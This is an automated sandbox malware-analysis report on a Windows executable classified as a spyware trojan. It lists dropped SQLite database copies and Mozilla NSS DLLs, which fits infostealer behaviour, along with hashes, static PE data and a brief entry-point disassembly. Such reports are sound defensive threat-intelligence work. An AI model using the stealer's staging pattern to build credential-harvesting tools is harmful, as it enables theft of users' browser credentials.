Start date and time:	2023-08-31 16:49:14 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 12m 47s
Hypervisor based Inspection enabled:	false
Report type:	light
Cookbook file name:	default.jbs
Analysis system description:	Windows 10, Office Professional Plus 2016, Chrome 115, Firefox 115, Adobe Reader 23, Java 8 Update 381
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/22@1/2
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 1.4% (good quality ratio 1.1%) Quality average: 51.5% Quality standard deviation: 39.1%
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240s for sample files taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, backgroundTaskHost.exe, svchost.exe
TCP Packets have been reduced to 100
Excluded domains from analysis (whitelisted): cp501.prod.do.dsp.mp.microsoft.com, www.bing.com, geover.prod.do.dsp.mp.microsoft.com, client.wns.windows.com, fs.microsoft.com, slscr.update.microsoft.com, login.live.com, disc501.prod.do.dsp.mp.microsoft.com, array510.prod.do.dsp.mp.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
16:50:56	API Interceptor	1x Sleep call for process: file.exe modified

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\00440746450577075373182215

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3034000, page size 2048, file counter 6, database pages 53, cookie 0x22, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	110592
Entropy (8bit):	1.103154063201814
Encrypted:	false
SSDEEP:	192:GLKnLLJFXH92HbG9mTjwnWxDnP1r6TVum:CKXJF392OnsDnRyVum
MD5:	A7888E78317DB24AF1E57A1E76360A05
SHA1:	350BC0A9A062F2290D8E41D17CACE4B49833918C
SHA-256:	34553CD7235802E2D02A4B1614D4C468E220377771CC7CB1A3F4D89580158534
SHA-512:	B705C5B67A2B294EB2951D19863F1FA729CE560C00378509D52AFDCBFAB824D754E32B013AB1318C17E9BC66B584471BFC01362A2BD3002AB3C388336ECD03BA
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ .......5..........."......................................................K............*........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\05817041688375942296226764

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3041002, file counter 9, database pages 43, 1st free page 42, free pages 2, cookie 0x3f, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1974772984231898
Encrypted:	false
SSDEEP:	768:i99HO2V93qjTU6SwO3mFthT1RTt61Y6UTD6rT19TC61276:i9vj6SwO3mFLT/TEzUTGrT7Tr1
MD5:	C6DC96A2E44E44C2935599EED3825093
SHA1:	37BD985F5AF5FBB1D78B4E32E9C8A3965296EE01
SHA-256:	44E5DFBBF36F186126F7AAA8DF09475D5A5C259F3918DCBED8E29A918DBB479C
SHA-512:	3236C33C7447BF74DDE20B12A41DCCF2D2DBFE30557D8369F3EDE0DC9130B3FE3F4ABB055855EB97E150DE3AF0F2131E7DD9BCD760DA68F5BBEE55FDFAB2BAD4
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ .......+...*.......?......................................................f.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\22428703343438507335441715

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3037002, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	524288
Entropy (8bit):	0.032592440528298426
Encrypted:	false
SSDEEP:	24:DQAVzff32mNVpP965Ra8KN0MG/lEKDIH5UMJKvuVKuQctWHB6Ox:DQM9rhvWTJcUOHhF
MD5:	16E2B74FCB83C62360F0E1A06C722FB8
SHA1:	D1450274E08468E3A650BE5D9E1086968CA234FE
SHA-256:	5FE70426BBB99C3D03AB2C33429FFFCE6F95B41073F45C918534A126708CE516
SHA-512:	AA47F896592296441ED00BC3C16737026E1FBA508D5EE038C1C2E535165ED14AFC8FBF49509FBDC87AFD1BF9005B2DDE7A5442173888767D3A8B05A334593026
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................WJ.....}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\22428703343438507335441715-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\30562671907380543272507388

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3041002, file counter 9, database pages 43, 1st free page 42, free pages 2, cookie 0x3f, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1974772984231898
Encrypted:	false
SSDEEP:	768:i99HO2V93qjTU6SwO3mFthT1RTt61Y6UTD6rT19TC61276:i9vj6SwO3mFLT/TEzUTGrT7Tr1
MD5:	C6DC96A2E44E44C2935599EED3825093
SHA1:	37BD985F5AF5FBB1D78B4E32E9C8A3965296EE01
SHA-256:	44E5DFBBF36F186126F7AAA8DF09475D5A5C259F3918DCBED8E29A918DBB479C
SHA-512:	3236C33C7447BF74DDE20B12A41DCCF2D2DBFE30557D8369F3EDE0DC9130B3FE3F4ABB055855EB97E150DE3AF0F2131E7DD9BCD760DA68F5BBEE55FDFAB2BAD4
Malicious:	false
Preview:	SQLite format 3......@ .......+...*.......?......................................................f.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\35746121865178509047716708

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3034000, page size 2048, file counter 2, database pages 23, cookie 0xd, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.7621373211432615
Encrypted:	false
SSDEEP:	48:53oBA+IIH2KLk8s8LKvUf9KVyJ7h/ICVEq8MX0D0HSFlNUKxK3f3lGNxotkGY:tYMKLyeymwxCn8MZyFldK3PlGNxotk
MD5:	6F5AAE47EB95404578CBC4AB886A1214
SHA1:	3AC370895A57F1DB1BC96B8BB81BB70DD6872BD5
SHA-256:	376C5828CE6104EC467A4F29E30151DED0FCDF7BF14239E2D97661061A226E00
SHA-512:	891CA3343DEBEB3CE7419CBE4D021DE59A02986F0EADA64E07E72B40D7515F2D962B90A2C01FB0D997275C1382BE2E1ABBF517DF3AFA530B02894C4160530B02
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................K.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\37707990510604932654966133

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3041002, page size 2048, file counter 7, database pages 57, cookie 0x30, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	118784
Entropy (8bit):	1.202433056168029
Encrypted:	false
SSDEEP:	192:8mEcY8dBLH95TkVb39nJnieheVuKht6jTAs5u:8JcYiBz9EJnieheVuK7u0s8
MD5:	1D1D49B9691A566CD1923A0929480A3D
SHA1:	93976FCE24A3C1F8ECED9E2516BD775215AA5834
SHA-256:	FE23175F9F3E20359907D9A10FC3A7210F4D60096EA38A1AD2CBC86AAE015ABC
SHA-512:	3B6B31D164CB51C9B6740D82BEA21EB66E30B7E7AF0672B0AB1A7C860FB9FA81D7FFC651BE93BDD5AC76AE4191C6C3402F835F8D6FA807ECF005EA5CE6A856D3
Malicious:	false
Preview:	SQLite format 3......@ .......9...........0......................................................f............6........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\38345013959471306846242542

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3034000, file counter 5, database pages 29, cookie 0x16, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	118784
Entropy (8bit):	0.8330799750773747
Encrypted:	false
SSDEEP:	192:5A6DwbHq260V37/+bDo3irhnydVj3XBBE3uEUM:5AvHMi37wU3iVy/BBE3ulM
MD5:	5B8792E38274088A888A41F4AE3709EB
SHA1:	102DCDBAF4DDB1E3E37859EC1EDD1C788D75AF11
SHA-256:	090F856C8BD32598418336550AE669A11D44B9498FD7DDA794460D8B08F55515
SHA-512:	5B57092076CAFDECE39018B47DC6899F4D4F53E3EFD710AB471B00E0DE477E26868145C389E6841A5AC7840F9968FABF97AA5459520F51C6EA36EC71C8E089C5
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................K.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\41854390081158473842695081

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3041002, page size 2048, file counter 2, database pages 25, cookie 0x10, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	53248
Entropy (8bit):	0.8118330999829729
Encrypted:	false
SSDEEP:	96:/WtihQKLPeymwHCn8MouOFlWSHRmvlGNxut2ke:/Y0LHG7qHslGNx3
MD5:	066E1A9804AD57076FA92B00D773CDC0
SHA1:	FC9C1E0F8D28F9B69150B5E462A8F9E4504B4578
SHA-256:	64F215F7997D7B368586988808CC8BC9A9DCF8CED6E9EB648917BC2FDA453CFD
SHA-512:	71162B591EAE3C1A07F7F15079053560E5CD232A8A5BF300F3BD5A31BF1BA69B7158848EC69F4F1BDE1516B1FF161A6341A1C016DE81795EDB1E35512BF618D7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................f.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\52766014303501464703169876

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3034000, file counter 11, database pages 8, 1st free page 8, free pages 1, cookie 0x4, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	2.7230981948383226
Encrypted:	false
SSDEEP:	96:z7NwCzfH7s05cCsdsYMu05V+k9w0kI0kIFR8Au7k0Z6nu0cfG0GC+6isqlkus40w:HuyHjgMJuY6u0JRlWNNBDqD/
MD5:	56A0DB5DFC56C74D2657D5C579DE93CE
SHA1:	ACC535D924463C4710805BAF65188169684EE3E6
SHA-256:	52C44B402FAD0B7D0AE2F90007D170CB24D3D327E49061267444A119926F7DFA
SHA-512:	75321A07514D68F515C78C5395215BF00C5DFF5060F9C33FCD30D66EBE146245AA6DFFD8BCAE8747AD09D7B34630DA723A9EBB0539E1DA9A013E12499B5CEC53
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................K..........g.....8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\59242670612831660624168672

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3034000, page size 2048, file counter 6, database pages 53, cookie 0x22, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	110592
Entropy (8bit):	1.103154063201814
Encrypted:	false
SSDEEP:	192:GLKnLLJFXH92HbG9mTjwnWxDnP1r6TVum:CKXJF392OnsDnRyVum
MD5:	A7888E78317DB24AF1E57A1E76360A05
SHA1:	350BC0A9A062F2290D8E41D17CACE4B49833918C
SHA-256:	34553CD7235802E2D02A4B1614D4C468E220377771CC7CB1A3F4D89580158534
SHA-512:	B705C5B67A2B294EB2951D19863F1FA729CE560C00378509D52AFDCBFAB824D754E32B013AB1318C17E9BC66B584471BFC01362A2BD3002AB3C388336ECD03BA
Malicious:	false
Preview:	SQLite format 3......@ .......5..........."......................................................K............*........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\60379239670748708072323449

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3041002, page size 2048, file counter 7, database pages 57, cookie 0x30, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	118784
Entropy (8bit):	1.202433056168029
Encrypted:	false
SSDEEP:	192:8mEcY8dBLH95TkVb39nJnieheVuKht6jTAs5u:8JcYiBz9EJnieheVuK7u0s8
MD5:	1D1D49B9691A566CD1923A0929480A3D
SHA1:	93976FCE24A3C1F8ECED9E2516BD775215AA5834
SHA-256:	FE23175F9F3E20359907D9A10FC3A7210F4D60096EA38A1AD2CBC86AAE015ABC
SHA-512:	3B6B31D164CB51C9B6740D82BEA21EB66E30B7E7AF0672B0AB1A7C860FB9FA81D7FFC651BE93BDD5AC76AE4191C6C3402F835F8D6FA807ECF005EA5CE6A856D3
Malicious:	false
Preview:	SQLite format 3......@ .......9...........0......................................................f............6........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\77364074545019038892817732

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 74, last written using SQLite version 3041002, page size 32768, writer version 2, read version 2, file counter 3, database pages 52, 1st free page 43, free pages 8, cookie 0x3c, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.039925776426730376
Encrypted:	false
SSDEEP:	192:itgVHwkYjcoBMc54tp9JWGDhIP5zZR38S3Z75pFh0:itgVHwVTBMc5IkG9Wf3z3Z75
MD5:	B9ABE44D5E5C8FF32C4A4F7C00354D61
SHA1:	585A3DD6093C2CE42305D39246CE8AF5508C4CC0
SHA-256:	F653A7A2AEF36FA73325DAB81A55D6118DF33713846E3931B5440FCF366686F6
SHA-512:	1F65EB719242A94E00D829D93B69B0874933BFD8C7B90053558A1187A3B7099B89E7F973E84177718BC03AD9E7DD2FB9B91F118A5E27B2BBBB990FD66315FA0B
Malicious:	false
Preview:	SQLite format 3......@ .......4...+.......<...................J..................................f..[R.+Yq.d@..a.\|.\|>{.{cz.zky.Yqx.x.w.v.wJu't>t.s.sLr.r:q.p.q\|p.o.o.o.m.mQl.kok.g.g#f.egf!Z.Zya]ZyZyZyZyZyZyZyZy......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\77364074545019038892817732-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\93702365600485792059963927

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3034000, file counter 5, database pages 29, cookie 0x16, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	118784
Entropy (8bit):	0.8330799750773747
Encrypted:	false
SSDEEP:	192:5A6DwbHq260V37/+bDo3irhnydVj3XBBE3uEUM:5AvHMi37wU3iVy/BBE3ulM
MD5:	5B8792E38274088A888A41F4AE3709EB
SHA1:	102DCDBAF4DDB1E3E37859EC1EDD1C788D75AF11
SHA-256:	090F856C8BD32598418336550AE669A11D44B9498FD7DDA794460D8B08F55515
SHA-512:	5B57092076CAFDECE39018B47DC6899F4D4F53E3EFD710AB471B00E0DE477E26868145C389E6841A5AC7840F9968FABF97AA5459520F51C6EA36EC71C8E089C5
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................K.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\98279768849475661070206458

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3041002, file counter 14, database pages 22, 1st free page 6, free pages 8, cookie 0x8, schema 4, UTF-8, version-valid-for 14
Category:	dropped
Size (bytes):	90112
Entropy (8bit):	3.5602851208577553
Encrypted:	false
SSDEEP:	768:Tanu5W7bpb5dOkhZM0a0SY+Oqa2XZvMYqVc:4u5W7ZXP3a0SY+Od2J0YOc
MD5:	B04B4FB2B7BD981A8698F42E5EA48FDE
SHA1:	5BE8B2A3F95D8B87726465937FBACD576443FA83
SHA-256:	D9D557C4E05A16DA0AFC2BDA66610256BA39A75746958FFF5F4A10DBC028ABC3
SHA-512:	03D7B867743C5142A164C47482863E7AFB1E4636A15476D175C3F7003D504EDEFAAB3687E47A0C8B052E233966CC6779F7B4B5C530B02DABF24399E86A59CEE8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................f.......f..g...f......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.835147897989796
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	467'456 bytes
MD5:	bf81661814944b92da689f1c461ef908
SHA1:	7e3235d7ce69217063f53840e6337633cc721ec7
SHA256:	a524fce6eb4ee25ed07de294220d9c2445090b6c18b48802219149162152fea1
SHA512:	0cd9c1bc55c398240c8f7214d2928684de8ddc84d208327f5ec1905956421eaf63a2c8a98223a6e8d57780d57f13698162c1e7cc7cc54f76a8bf0a3870b2aa6a
SSDEEP:	6144:WWcIRLTO5mqX94gHnlqzeI+Dv73D7yAACFNs3/Aw/OzcGzVN:0IRLTRC94gH8zeTb7T7yNCrs3IzzcU
TLSH:	66A49D0352A1BC61E5264B729F1FC6F8BA1DF570BD897B663318AA6F04B01B3C663741
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......]typ...#...#...#.G.#...#.G.#/..#.G.#...#>.l#...#...#d..#.G.#...#.G.#...#.G.#...#Rich...#........................PE..L....t.b...

File Icon


Icon Hash:	5145494905514509

Static PE Info

General

Entrypoint:	0x4086fc
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x62C474C5 [Tue Jul 5 17:28:37 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	2f69518aa1d8a1d2ce824b07104b5c0f

Entrypoint Preview

Instruction
call 00007F3728BD1041h
jmp 00007F3728BC965Dh
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
xor ecx, ecx
cmp eax, dword ptr [0044E0F8h+ecx*8]
je 00007F3728BC97F5h
inc ecx
cmp ecx, 2Dh
jc 00007F3728BC97D3h
lea ecx, dword ptr [eax-13h]
cmp ecx, 11h
jnbe 00007F3728BC97F0h
push 0000000Dh
pop eax
pop ebp
ret
mov eax, dword ptr [0044E0FCh+ecx*8]
pop ebp
ret
add eax, FFFFFF44h
push 0000000Eh
pop ecx
cmp ecx, eax
sbb eax, eax
and eax, ecx
add eax, 08h
pop ebp
ret
call 00007F3728BCE8C5h
